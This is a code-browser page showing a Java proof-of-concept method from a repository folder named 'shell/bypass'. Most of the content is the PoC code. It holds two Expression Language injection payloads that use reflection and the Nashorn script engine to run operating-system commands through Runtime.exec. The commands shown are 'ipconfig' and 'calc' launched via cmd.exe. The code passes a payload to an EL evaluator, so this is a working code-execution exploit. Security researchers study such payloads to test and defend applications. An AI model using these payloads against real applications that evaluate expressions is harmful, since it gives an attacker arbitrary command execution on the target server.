MCPcopy Create free account
hub / github.com/Firebasky/Java / main

Method main

shell/bypass/test3.java:12–19  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

10
11public class test3 {
12 public static void main(String[] args) throws Exception {
13 String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='ipconfig';java.lang.Runtime.getRuntime().exec(exp);\")";
14
15 String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
16 ".newInstance().getEngineByName('nashorn')" +
17 ".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
18 ELeval(payload);
19 }
20
21 public static void ELeval(String payload) throws Exception{
22 ELManager elManager = new ELManager();

Callers

nothing calls this directly

Calls 1

ELevalMethod · 0.95

Tested by

no test coverage detected